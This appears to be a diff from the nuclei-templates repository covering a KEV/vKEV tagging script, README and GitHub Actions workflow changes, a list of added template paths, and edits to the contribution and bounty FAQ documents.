# Exponential backoff with rate limiting consideration
delay = min(10, 2 * (attempt + 1))
print(f"Retrying after {delay} seconds...")
time.sleep(delay)
except Exception as e:
print(f"Unexpected error fetching VulnCheck KEV: {e}")
return vkev_cves # Return what we have so far
print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
return vkev_cves
def has_tag(self, content: str, tag: str) -> bool:
"""Check if template already has specific tag in tags field."""
# Look for tags field and check if tag is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for tag as a standalone tag (not part of another word)
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
return True
return False
def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
"""Add tag to the tags field. Returns (updated_content, was_updated)."""
if self.has_tag(content, tag):
return content, False
# Find the tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2).rstrip()
# Add tag at the end
new_tags = existing_tags + f',{tag}'
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
else:
print(f"Warning: No tags field found to add {tag} tag")
return content, False
def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
"""Remove tag from the tags field. Returns (updated_content, was_updated)."""
if not self.has_tag(content, tag):
return content, False
# Find and update tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2)
# Remove tag in various positions
new_tags = existing_tags
# Remove ,tag or tag, patterns
new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags) # tag is only tag
new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags) # tag is first tag
if new_tags != existing_tags:
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
return content, False
def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
"""Update a template file with KEV and vKEV tags."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
original_content = content
updated = False
# Handle CISA KEV tag
if is_cisa_kev:
# Add kev tag if missing
content, tag_added = self.add_tag(content, 'kev')
if tag_added:
print(f"Added kev tag to {file_path.name}")
updated = True
else:
# Remove kev tag if present but CVE is not in CISA KEV catalog
if self.has_tag(content, 'kev'):
# Only remove if we're confident about our KEV data
if len(self.cisa_kev_cves) > 1000: # Sanity check
content, tag_removed = self.remove_tag(content, 'kev')
if tag_removed:
print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
updated = True
else:
print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
# Handle VulnCheck KEV tag
if is_vulncheck_kev:
# Add vkev tag if missing
content, tag_added = self.add_tag(content, 'vkev')
if tag_added:
print(f"Added vkev tag to {file_path.name}")
updated = True
else:
# Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100: # Sanity check
content, tag_removed = self.remove_tag(content, 'vkev')
if tag_removed:
print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
updated = True
# Write updated content if changes were made
if updated:
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
return True
return False
except Exception as e:
print(f"Error updating {file_path}: {e}")
self.error_count += 1
return False
def run(self):
"""Main execution function."""
print("Starting enhanced KEV/vKEV tagging update...")
# Fetch KEV data
self.cisa_kev_cves = self.fetch_cisa_kev_data()
self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
print("No KEV data available, exiting")
return
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Process templates
cisa_kev_found = 0
vulncheck_kev_found = 0
both_kev_found = 0
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
is_cisa_kev = cve_id in self.cisa_kev_cves
is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
if is_cisa_kev:
cisa_kev_found += 1
if is_vulncheck_kev:
vulncheck_kev_found += 1
if is_cisa_kev and is_vulncheck_kev:
both_kev_found += 1
if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
self.updated_count += 1
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"\nEnhanced KEV/vKEV update complete!")
print(f"Templates updated: {self.updated_count}")
print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EnhancedKEVUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
-50
View File
@@ -1,7 +1,6 @@
#!/usr/bin/env python3
import glob
import subprocess
import re
def countTpl(path):
return len(glob.glob(path + "/*.*"))
@@ -14,60 +13,11 @@ def get_top10():
TOP10 = command(["cat", "TOP-10.md"])
return HEADER + TOP10 if len(TOP10) > 0 else ""
def get_kev_stats():
"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
try:
result = subprocess.run(
["python3", ".github/scripts/count-kev-stats.py"],
text=True,
capture_output=True,
timeout=120
)
# Parse the output
stats = {}
for line in result.stdout.strip().split('\n'):
if '=' in line:
key, value = line.split('=')
stats[key.lower()] = int(value)
return stats
except Exception as e:
print(f"Error getting KEV stats: {e}")
return {
'kev_total': 0,
'vkev_total': 0,
'both': 0,
'kev_only': 0,
'vkev_only': 0,
'total_templates': 0
}
if __name__ == "__main__":
version = command(["git", "describe", "--tags", "--abbrev=0"])
kev_stats = get_kev_stats()
template = eval(open(".github/scripts/README.tmpl", "r").read())
print(template)
# Update main README.md
f = open("README.md", "w")
f.write(template)
f.close()
# Update localized README files with their respective templates
localized_files = {
"README_CN.md": ".github/scripts/README_CN.tmpl",
"README_JA.md": ".github/scripts/README_JA.tmpl",
"README_KR.md": ".github/scripts/README_KR.tmpl"
}
for readme_file, template_file in localized_files.items():
try:
localized_template = eval(open(template_file, "r").read())
f = open(readme_file, "w")
f.write(localized_template)
f.close()
except FileNotFoundError:
print(f"Template {template_file} not found, skipping {readme_file}")
continue
+18 -156
View File
@@ -1,164 +1,26 @@
name: Auto-assign on open
name: 🤖 issue/pr assignment
on:
# pull_request:
# types: [opened]
# branches:
# - main
issues:
types: [opened, reopened]
# Use pull_request_target so the job has permissions on PRs from forks.
pull_request_target:
types: [opened, ready_for_review, reopened]
types: [opened]
permissions:
contents: read
issues: write
pull-requests: write
concurrency:
group: auto-assign-on-open
cancel-in-progress: false
env:
ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
jobs:
assign:
build:
permissions: write-all
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v8
- uses: actions/checkout@v4 # checkout the repository content
- uses: actions/setup-python@v5
with:
script: |
const ORG = context.repo.owner;
const REPO = context.repo.repo;
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
const reviewPool = new Set(toLowerAll(REVIEW_POOL));
const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
// Simple "least recent then fewest in lookback" picker
function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
const issueCounts = initMap(issuePool);
const prAssigneeCounts = initMap(reviewPool);
const prReviewerCounts = initMap(reviewPool);
const lastIssueAssign = new Map();
const lastPrAssignee = new Map();
const lastPrReviewer = new Map();
function pick(countsMap, lastMap, exclude=new Set()){
const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
if (!cands.length) return null;
cands.sort((a,b)=>{
const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
if (ca!==cb) return ca-cb;
const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
if (ta!==tb) return ta-tb;
return a.localeCompare(b);
});
return cands[0];
}
async function buildIssueStats(){
for await (const page of github.paginate.iterator(
github.rest.issues.listForRepo,
{ owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
)){
for (const it of page.data){
if (it.pull_request) continue;
const ts = new Date(it.created_at);
if (ts < new Date(sinceISO)) continue;
for (const a of (it.assignees||[])){
const l=a.login.toLowerCase();
if (issuePool.has(l)){
issueCounts.set(l,(issueCounts.get(l)||0)+1);
const lastTs = lastIssueAssign.get(l);
if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
}
}
}
}
}
async function buildPrStats(){
for await (const page of github.paginate.iterator(
github.rest.pulls.list,
{ owner: ORG, repo: REPO, state: 'all', per_page: 100 }
)){
for (const pr of page.data){
const ts = new Date(pr.created_at);
if (ts < new Date(sinceISO)) continue;
// Count all assignees (plural)
for (const a of (pr.assignees||[])){
const l = a.login.toLowerCase();
if (reviewPool.has(l)){
prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
const lastTs = lastPrAssignee.get(l);
if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
}
}
// Count all reviewers separately
for (const r of (pr.requested_reviewers||[])){
const l=r.login.toLowerCase();
if (reviewPool.has(l)){
prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
const lastTs = lastPrReviewer.get(l);
if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
}
}
}
}
}
// Build stats once per run (cheap enough for small repos)
await Promise.all([buildIssueStats(), buildPrStats()]);
// Determine context
if (context.eventName === 'issues') {
const issue = context.payload.issue;
if (issue.pull_request) return; // guard
if ((issue.assignees||[]).length>0) return;
const pickee = pick(issueCounts, lastIssueAssign);
if (!pickee) return;
await github.rest.issues.addAssignees({
owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
});
} else if (context.eventName === 'pull_request_target') {
const pr = context.payload.pull_request;
const prNum = pr.number;
const author = (pr.user?.login||"").toLowerCase();
const assignee = pr.assignee?.login?.toLowerCase();
// Ensure one assignee (use assignee counts only)
let finalAssignee = assignee;
if (!finalAssignee) {
const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
if (a) {
await github.rest.issues.addAssignees({
owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
});
finalAssignee = a;
}
}
// One reviewer, not the author, not the assignee (use reviewer counts only)
const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
if (already.size === 0 && !pr.draft) {
const exclude = new Set([author, finalAssignee].filter(Boolean));
const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
if (reviewer) {
await github.rest.pulls.requestReviewers({
owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
});
}
}
}
python-version: '3.10' # install the python version needed
- run: pip install requests
# - if: github.event_name == 'pull_request'
# run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
- if: github.event_name == 'issues'
run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go@v1
with:
go-version: 'stable'
-53
View File
@@ -1,53 +0,0 @@
name: 📊 EPSS Score Update
on:
schedule:
# Run daily at 2:00 AM UTC
- cron: '0 2 * * *'
workflow_dispatch:
jobs:
update-epss:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v5
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update EPSS scores
run: python .github/scripts/update-epss.py
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update EPSS scores 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
-56
View File
@@ -1,56 +0,0 @@
name: 📋 KEV & vKEV Tag Update
on:
schedule:
# Run daily at 3:00 AM UTC (1 hour after EPSS update)
- cron: '0 3 * * *'
workflow_dispatch:
jobs:
update-kev:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v5
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update KEV and vKEV tags
run: python .github/scripts/update-kev.py
env:
# VulnCheck API key for enhanced vKEV data
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update KEV and vKEV tags and metadata 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
+1 -1
View File
@@ -18,7 +18,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Generate new addition list
+4 -4
View File
@@ -2,7 +2,7 @@ name: 📝 Readme Update
on:
workflow_run:
workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
workflows: ["🗒 Templates Stats"]
types:
- completed
workflow_dispatch:
@@ -13,14 +13,14 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v5
- uses: actions/setup-python@v6
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.8"
- run: python .github/scripts/update-readme.py
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/commit@v1
with:
files: 'README.md README_*.md'
files: 'README.md'
message: 'docs: update README 🤖'
- run: git push origin $GITHUB_REF
+1 -1
View File
@@ -16,7 +16,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/generate/checksum@v1
with:
templates-directory: '${{ github.workspace }}'
+4 -4
View File
@@ -14,7 +14,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
token: '${{ secrets.GITHUB_TOKEN}}'
@@ -38,12 +38,12 @@ jobs:
runs-on: windows-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v6
uses: actions/setup-go@v5
with:
go-version: '1.24'
go-version: '1.21'
- name: Install Nuclei
run: |
+1 -1
View File
@@ -8,7 +8,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/templateman@v1
with:
token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
+1 -1
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: projectdiscovery/actions/templates/stats@v1
+5 -5
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: karancode/[email protected]
with:
yamllint_config_filepath: .yamllint
@@ -23,12 +23,12 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
token: '${{ secrets.GITHUB_TOKEN }}'
- name: Validate templates
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
weak-matcher-checks:
needs: lint
@@ -40,7 +40,7 @@ jobs:
env:
HONEYPOT_URL: 'http://honey.scanme.sh'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with:
@@ -61,7 +61,7 @@ jobs:
env:
CHANGED_FILES: '${{ steps.filter.outputs.changed_files }}'
working-directory: '.github/scripts/'
- uses: actions/github-script@v8
- uses: actions/github-script@v7
if: steps.check.outputs.weak == 'true'
with:
script: |
@@ -10,10 +10,10 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Check out repository code
uses: actions/checkout@v5
uses: actions/checkout@v4
- name: Install Python3
uses: actions/setup-python@v6
uses: actions/setup-python@v5
with:
python-version: "3.10"
+1 -3
View File
@@ -3,6 +3,4 @@
local/
.checksum
.new-additions
*.txt
/.claude
CLAUDE.md
*.txt
+81 -68
View File
@@ -1,68 +1,81 @@
dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml
file/malware/shai-hulud-supply-chain.yaml
headless/cves/2025/CVE-2025-7901.yaml
http/cves/2017/CVE-2017-14725.yaml
http/cves/2017/CVE-2017-17092.yaml
http/cves/2017/CVE-2017-5983.yaml
http/cves/2018/CVE-2018-13317.yaml
http/cves/2019/CVE-2019-19822.yaml
http/cves/2019/CVE-2019-19823.yaml
http/cves/2019/CVE-2019-19825.yaml
http/cves/2021/CVE-2021-34427.yaml
http/cves/2021/CVE-2021-4462.yaml
http/cves/2022/CVE-2022-29081.yaml
http/cves/2023/CVE-2021-4449.yaml
http/cves/2024/CVE-2024-20404.yaml
http/cves/2024/CVE-2024-53995.yaml
http/cves/2025/CVE-2025-10204.yaml
http/cves/2025/CVE-2025-11700.yaml
http/cves/2025/CVE-2025-11833.yaml
http/cves/2025/CVE-2025-12055.yaml
http/cves/2025/CVE-2025-13315.yaml
http/cves/2025/CVE-2025-27915.yaml
http/cves/2025/CVE-2025-49706.yaml
http/cves/2025/CVE-2025-55523.yaml
http/cves/2025/CVE-2025-58360.yaml
http/cves/2025/CVE-2025-61757.yaml
http/cves/2025/CVE-2025-64525.yaml
http/cves/2025/CVE-2025-64764.yaml
http/cves/2025/CVE-2025-9316.yaml
http/default-logins/traggo-default-login.yaml
http/default-logins/vtigercrm-default-login.yaml
http/exposed-panels/cluster-trino-panel.yaml
http/exposures/files/vtigercrm-data-exposed.yaml
http/miscellaneous/crypto-address-detect.yaml
http/misconfiguration/aem/aem-anonymous-write.yaml
http/misconfiguration/blackbox-exporter-exposure.yaml
http/misconfiguration/cluster-trino-admin-login.yaml
http/misconfiguration/csp-script-src-wildcard.yaml
http/misconfiguration/memtracker-exposure.yaml
http/misconfiguration/microsoft/sharepoint-files-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml
http/misconfiguration/nginx/nginx-status-403-bypass.yaml
http/misconfiguration/postgresql-cluster-config.yaml
http/misconfiguration/postrest-api-exposure.yaml
http/misconfiguration/unauth-akhq-dashboard.yaml
http/misconfiguration/unauth-hawkeye-dashboard.yaml
http/misconfiguration/unauth-kafka-config-editor.yaml
http/misconfiguration/unauth-phoenix-dashboard.yaml
http/misconfiguration/unauth-qdrantui.yaml
http/misconfiguration/unauth-supervisor-dashboard.yaml
http/technologies/agent-zero-detect.yaml
http/technologies/cisco-finesse-detect.yaml
http/technologies/flower-detect.yaml
http/technologies/microsoft/sharepoint-web-services-discovery.yaml
http/technologies/nostromo-detect.yaml
http/technologies/odoo-detect.yaml
http/technologies/traggo-server-detect.yaml
http/technologies/vtigercrm-detect.yaml
http/technologies/winstone-detect.yaml
http/vulnerabilities/wordpress/wp-security-hidden-login-exposure.yaml
http/vulnerabilities/wordpress/wp-twenty-theme-fpd.yaml
http/vulnerabilities/wordpress/wp-twentysixteen-fpd.yaml
http/vulnerabilities/wordpress/wp-twentytwenty-fpd.yaml
http/vulnerabilities/wp-functions-php-disclosure.yaml
http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
code/cves/2022/CVE-2022-42475.yaml
code/cves/2025/CVE-2025-6216.yaml
code/windows/audit/kisa/account-lockout-threshold.yaml
code/windows/audit/kisa/admin-account-rename.yaml
code/windows/audit/kisa/admin-group-minimal.yaml
code/windows/audit/kisa/autologon-control.yaml
code/windows/audit/kisa/crash-on-audit-fail.yaml
code/windows/audit/kisa/dns-zone-transfer-check.yaml
code/windows/audit/kisa/ftp-access-control-check.yaml
code/windows/audit/kisa/ftp-anonymous-check.yaml
code/windows/audit/kisa/ftp-directory-permission-check.yaml
code/windows/audit/kisa/hard-disk-default-share.yaml
code/windows/audit/kisa/password-cleartext-encryption.yaml
code/windows/audit/kisa/password-never-expires.yaml
code/windows/audit/kisa/rds-removal-check.yaml
code/windows/audit/kisa/remote-registry-access-check.yaml
code/windows/audit/kisa/remote-system-shutdown.yaml
code/windows/audit/kisa/sam-file-access-control.yaml
code/windows/audit/kisa/service-pack-check.yaml
code/windows/audit/kisa/shutdown-without-logon.yaml
code/windows/audit/kisa/unnecessary-accounts-check.yaml
code/windows/audit/kisa/unnecessary-service-check.yaml
http/cves/2020/CVE-2020-9547.yaml
http/cves/2020/CVE-2020-9548.yaml
http/cves/2022/CVE-2022-23397.yaml
http/cves/2023/CVE-2023-49230.yaml
http/cves/2024/CVE-2024-50334.yaml
http/cves/2025/CVE-2025-2010.yaml
http/cves/2025/CVE-2025-27505.yaml
http/cves/2025/CVE-2025-32813.yaml
http/cves/2025/CVE-2025-32814.yaml
http/cves/2025/CVE-2025-32815.yaml
http/cves/2025/CVE-2025-34040.yaml
http/cves/2025/CVE-2025-41646.yaml
http/cves/2025/CVE-2025-4380.yaml
http/cves/2025/CVE-2025-47812.yaml
http/cves/2025/CVE-2025-47813.yaml
http/cves/2025/CVE-2025-48827.yaml
http/cves/2025/CVE-2025-49493.yaml
http/cves/2025/CVE-2025-52488.yaml
http/cves/2025/CVE-2025-53624.yaml
http/cves/2025/CVE-2025-5777.yaml
http/default-logins/molgenis/molgenis-default-login.yaml
http/exposed-panels/cisco-cm-panel.yaml
http/exposed-panels/cisco-prime-license-manager-panel.yaml
http/exposed-panels/google-adk-api-exposed.yaml
http/exposed-panels/google-adk-webui-exposed.yaml
http/exposed-panels/molgenis-panel.yaml
http/exposed-panels/peplink-panel.yaml
http/exposed-panels/wingftp-panel.yaml
http/miscellaneous/torrent-website-detect.yaml
http/misconfiguration/dd-wrt-controlpanel-exposure.yaml
http/misconfiguration/installer/pritunl-installer.yaml
http/misconfiguration/twonky-server-exposure.yaml
http/osint/user-enumeration/sessionize.yaml
http/technologies/graphql/graphql-apiforwp-detect.yaml
http/technologies/graphql/graphql-apollo-detect.yaml
http/technologies/graphql/graphql-ariadne-detect.yaml
http/technologies/graphql/graphql-dianajl-detect.yaml
http/technologies/graphql/graphql-flutter-detect.yaml
http/technologies/graphql/graphql-go-detect.yaml
http/technologies/graphql/graphql-gqlgen-detect.yaml
http/technologies/graphql/graphql-graphene-detect.yaml
http/technologies/graphql/graphql-hasura-detect.yaml
http/technologies/graphql/graphql-hypergraphql-detect.yaml
http/technologies/graphql/graphql-java-detect.yaml
http/technologies/graphql/graphql-juniper-detect.yaml
http/technologies/graphql/graphql-php-detect.yaml
http/technologies/graphql/graphql-ruby-detect.yaml
http/technologies/graphql/graphql-sangria-detect.yaml
http/technologies/graphql/graphql-strawberry-detect.yaml
http/technologies/graphql/graphql-tartiflette-detect.yaml
http/technologies/graphql/graphql-wpgraphql-detect.yaml
http/technologies/wordpress/plugins/blocksy-companion.yaml
http/technologies/wordpress/plugins/gosmtp.yaml
http/technologies/wordpress/plugins/honeypot.yaml
http/technologies/wordpress/plugins/pagelayer.yaml
http/technologies/wordpress/plugins/siteseo.yaml
http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
http/vulnerabilities/infoblox/infoblox-netmri-rails-cookie-rce.yaml
network/detection/jdwp-detect.yaml
+1 -1
View File
@@ -17,7 +17,6 @@ tags:
- "local"
- "fuzz"
- "bruteforce"
- "txt-service"
# The following templates have been excluded because they have weak matchers and may generate FP results.
# Please feel free to create PR if you can update the templates with strict matchers.
@@ -32,6 +31,7 @@ files:
- http/fuzzing/mdb-database-file.yaml
- http/fuzzing/iis-shortname.yaml
- dns/soa-detect.yaml
- dns/txt-service-detect.yaml
- javascript/enumeration/pop3/pop3-capabilities-enum.yaml
- javascript/enumeration/redis/redis-require-auth.yaml
- dast/vulnerabilities/sqli/time-based-sqli.yaml
+2 -2
View File
@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
Along with the P.O.C following are the required fields in the info section for submitting new template.
@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s
**Don’t**
- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
- Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
- Try to keep the requests per template as low as possible
@@ -1,6 +1,6 @@
# Nuclei Templates Bounty - FAQ
# Nuclei Templates Community Rewards Program - FAQ
## What is the purpose of this bounty program?
## What is the purpose of this rewards program?
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
## What are the bounty ranges for template submissions?
@@ -10,17 +10,12 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
## What is the acceptance criteria for templates?
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
Templates must meet the following criteria:
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
2. **Debug Data**: Include debug data to assist with template validation.
3. **Validation Required**: The template will be reviewed and validated before rewards are given.
4. **Accurate Matchers**: Use strong matchers to avoid false positives.
